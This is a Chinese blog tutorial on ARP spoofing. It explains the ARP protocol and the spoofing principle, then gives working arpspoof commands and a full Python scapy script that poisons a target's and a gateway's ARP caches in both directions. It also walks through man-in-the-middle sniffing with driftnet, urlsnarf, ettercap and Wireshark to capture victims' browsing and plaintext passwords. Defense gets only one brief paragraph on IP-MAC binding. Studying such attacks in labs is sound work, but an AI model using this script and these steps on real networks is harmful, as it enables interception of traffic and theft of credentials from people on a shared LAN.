一文了解ARP欺骗
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文了解ARP欺骗相关的知识,希望对你有一定的参考价值。
前言
学习ARP欺骗
ARP欺骗也是很古老的渗透手段了,主要起着信息收集的作用,比如你可以利用欺骗获取对方的流量,从流量分析你认为重要的信息,例如某某账号密码。或是利用Arp攻击,切断局域网内某一用户的网络访问(单向欺骗)
1、ARP简介
ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写,其作用是将已知IP地址转换为MAC地址
其过程是:
- 你在知道你要给某个ip送包裹,但是你不知道对方的MAC地址,于是你就向内网中广播:谁有xxx的mac address?比如我们打开wireshark,搜索arp可以看到当前正在进行的arp通信,我的ip称之为57,我想知道146的mac地址,于是我广播道“谁有146?告诉57(我)”
- 不一会cisco收到了我的询问,他知道问题的答案,于是告诉我说“146在xx:xx:xx:xx:xx:xx(mac addr)
- 然后就可以愉快的通信了
详细原理可参见:一文搞明白ARP
2、ARP欺骗原理
利用的ARP弱点:ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,它就会把对应的ip-mac更新到自己的缓存表
所以原理也很简单:冒充网关或主机,无脑不断的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到我们的主机上
分类:
- 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
- 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
- 主机网关一起骗
3、ARP欺骗实现
利用arpspoof即可轻松实现:
- 打开 IP 转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
- 然后使用 arpspoof 命令进行欺骗:
arpspoof -i <网卡名> -t <欺骗的目标> <我是谁>
- 终端1, 欺骗主机 A 我是网关:
arpspoof -i eth0 -t 192.168.0.100 192.168.0.1
- 终端2, 欺骗网关我是主机 A:
arpspoof -i eth0 -t 192.168.0.1 192.168.0.100
- 欺骗成功之后可以通过抓包工具所有流量
看到一个比较详细的实验:网络攻防实战–ARP欺骗
脚本
一个windows下的脚本
#-*- coding:utf-8 -*-
from scapy.all import *
import sys
from optparse import OptionParser
import os
#查看本地网卡
print("查看本地网卡:")
show_interfaces()
print("\\n")
def main():
print("网卡网关靶机显示:")
#网卡
interface = "Intel(R) Dual Band Wireless-AC 3168"
#interface = input("请输入网卡名称:")
#网关
gateway_ip = "192.168.0.1"
#gateway_ip = input("请输入网关IP:")
#靶机
target_ip = "192.168.0.5"
#target_ip = input("请输入靶机IP:")
#设置网卡
conf.iface = interface
#关闭提示信息
conf.verb = 0
print("[*] 网卡: %s"%interface)
#获取网卡MAC
gateway_mac = getmacbyip(gateway_ip)
if gateway_mac is None:
print("[!] 获取网关MAC失败,Exiting")
sys.exit(0)
else:
print("[*] 网关: %s MAC: %s"%(gateway_ip,gateway_mac))
#获取靶机MAC
target_mac = getmacbyip(target_ip)
if target_mac is None:
print("[!] 获取靶机MAC失败,Exiting")
else:
print("[*] 靶机: %s MAC: %s"%(target_ip,target_mac))
print("\\n")
attact_target(gateway_ip,gateway_mac,target_ip,target_mac)
#对靶机和网关进行双向欺骗
def attact_target(gateway_ip,gateway_mac,target_ip,target_mac):
'''
使用scapy构造ARP请求包
构造了源硬件地址,源协议地址,目标硬件地址,目标协议地址
默认的以太网头部
>>> ls(Ether())
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '3a:48:5a:8c:2e:4b' (None)
type : XShortEnumField = 36864 (36864)
>>>
'''
'''
查看ARP报文ls(ARP())
>>> ls(ARP())
hwtype : XShortField = 1 (1)
ptype : XShortEnumField = 2048 (2048)
hwlen : FieldLenField = None (None)
plen : FieldLenField = None (None)
op : ShortEnumField = 1 (1)
hwsrc : MultipleTypeField = '3a:48:5a:8c:2e:4b' (None)
psrc : MultipleTypeField = '192.168.0.12' (None)
hwdst : MultipleTypeField = None (None)
pdst : MultipleTypeField = None (None)
>>>
'''
'''
op:操作码,默认1,1为ARP请求包,2为ARP响应包
hwsrc:发送方的MAC地址,默认本机
psrc:发送方IP,告诉对方我自己的IP,用来伪装
hwdst:对方的MAC地址
pdst:对方的IP地址
'''
#构造ARP包
#欺骗靶机,本机为网关(hwsrc默认本机MAC),本机为gateway
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
#欺骗网关,本机为靶机(hwsrc默认本机MAC),本机为target
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac
print("[*] 正在进行ARP欺骗。[CRTL-C 停止]")
while True:
try:
#循环发送ARP包
send(poison_target)
send(poison_gateway)
#间隔2秒,避免影响网络
time.sleep(2)
except KeyboardInterrupt:
#恢复ARP缓冲
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
break
print("[*] ARP包已发送")
#恢复ARP缓存
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
print("[*] 恢复ARP缓存......")
'''
以广播形式发送
hwdst="ff:ff:ff:ff:ff:ff"
'''
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))
if __name__ == "__main__":
main()
4、防御
防御原理很简单,就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机(路由器后台地址),网络参数一栏一般有ip与mac绑定一栏,把网关的mac地址与网关地址绑定就好了。只要确定了对应关系,当攻击者发布arp相应包时,就不会更新相应的ip-mac缓存表
5、基于ARP欺骗的MITM
作为中间人进行欺骗,需要设置ip转发,获取目标主机B的流量,其后配合其它工具(drifnet)等进行进一步嗅探。
值得一提的是,我们的Arp攻击也是欺骗,但它是单向欺骗,冒充网关主机来欺骗目标主机。实际中,中间人攻击一般是双向欺骗。即作为中间人,主机A双向欺骗主机B与C获得通信内容,但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失,主机A开启ip转发,开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后,我们就能嗅探到双向数据包。
如果你的kali在虚拟机,那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中,网络的连接比较复杂,而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发,基本都会失败,因为笔记本的内置无限网卡满足不了需求
(1)linux的ip转发
linux因为系统安全,是不支持IP转发的,其配置文件写在/proc/sys/net/ipv4
的ip_forward
中。默认为0
,需要修改为1
。
开启方法大致有两种:
- 只接进入文件修改
cd /proc/sys/net/ipv4
ls
cat ip_forward
#显示结果为0
echo 1 > ip_forward
cat ip_forward
#显示结果为1,修改成功
- 使用echo
# echo "1"> /proc/sys/net/ipv4/ip_forward
(2)对网关和目标主机B的双向欺骗
命令如下:
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1
(3)利用driftnet进程监控
持续保持欺骗,再重新打开一个命令终端。
输入命令:
root@kali:~# driftnet -i eth0
跳出来的drift窗口即会显示本机正在浏览的图片
(4)使用ettercap工具获取密码
- 打开新的终端,输入
attercap -G
启动工具 - 点击
Sniff -> unified sniffing
,选择要抓包的网卡,默认是自己的网卡eth0
,点确定 - 然后单击
Hosts -> Scan for host
,待扫描完成后再次Scan for host,此时可以看到ettercap-NG已经扫描的主机列表 - 选择攻击目标,点击
192.168.11.105
的ip地址,点击Add to Target 1
,然后选择网关的ip地址192.168.11.1
,点击Add to Target 2
- 明确目标攻击方式:点击
Mitm -> arp poisoning -> Sniff remote connections -> 确定
- 开始监听:
start -> Start sniffing
工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。
(5)urlsnarf:获得受害者的HTTP请求
输入命令:
root@kali:~# urlsnarf -i eth0
(6)使用Wireshark抓包
使用Wireshark抓取所有的数据包,过滤分析不同请求,类似于ettercap。
例如,要找HTTP POST请求,过滤,查看明文密码,一般是以POST形式上传的账号密码。
结语
学习了下古老的ARP欺骗
以上是关于一文了解ARP欺骗的主要内容,如果未能解决你的问题,请参考以下文章